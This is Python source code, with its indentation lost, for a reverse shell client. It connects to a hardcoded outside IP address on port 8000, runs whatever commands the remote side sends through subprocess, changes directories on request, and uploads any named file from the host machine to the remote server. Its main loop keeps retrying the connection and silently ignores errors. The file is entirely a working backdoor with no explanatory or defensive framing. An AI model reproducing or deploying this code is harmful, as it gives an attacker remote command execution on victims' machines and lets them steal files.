import socket import os import subprocess def send_file(client_socket, filename): try: with open(filename, 'rb') as f: while True: data = f.read(4096) if not data: break client_socket.send(data) except FileNotFoundError: client_socket.send(b'') def connect_to_server(host, port): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) current_dir = os.getcwd() try: while True: client.send(current_dir.encode()) command = client.recv(1024).decode() if not command or command.lower() == "exit": break if command.startswith("cd "): try: target_dir = command[3:].strip() os.chdir(target_dir) current_dir = os.getcwd() output = "" except FileNotFoundError: output = f"No such directory: {target_dir}" except Exception as e: output = str(e) finally: client.send(current_dir.encode()) client.close() client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) elif command.startswith("download "): filename = command.split(" ", 1)[1] client.send(command.encode()) send_file(client, filename) client.close() client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) else: output = subprocess.getoutput(command) client.send(output.encode()) client.close() client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) except Exception as e: pass finally: client.close() if __name__ == "__main__": host = "176.100.10.158" port = 8000 while True: try: connect_to_server(host, port) break except: pass